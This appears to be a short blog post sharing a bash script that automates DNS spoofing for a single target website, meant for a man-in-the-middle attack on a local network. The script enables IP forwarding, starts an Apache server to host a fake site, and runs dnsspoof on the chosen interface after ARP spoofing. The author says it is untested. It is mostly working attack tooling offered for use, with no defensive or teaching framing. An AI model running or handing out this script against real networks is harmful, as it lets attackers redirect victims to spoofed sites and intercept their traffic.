Modified DNSSpoof Bash Script

This is slightly modified version of my previous post.
It only spoofs the DNS for a specific URL.
This is better for a MITM attack.

(I should really test this first actually. Oh well....)

#!/bin/bash

echo '1' > /proc/sys/net/ipv4/ip_forward

/etc/init.d/apache2 start

echo -e "REMEMBER TO PERFORM AN ARPSPOOF FIRST OTHERWISE THIS WILL NOT WORK!!!!!!"

echo -e "Please enter your IP and the site you wish to target: EG: 192.168.0.2 www.bbc.co.uk"

read INPUTDNS

echo "$INPUTDNS" > dnsspooftxt.txt

echo -e "Test file:\n\n"

cat dnsspooftxt.txt

echo -e "\n\n Are you using wlan0 or eth0?"

read NIC

echo -e "You Chose:\n"

echo -e "$NIC"

echo -e "Starting DNS Spoof...."

gnome-terminal -x dnsspoof -i "$NIC" -f dnsspooftxt.txt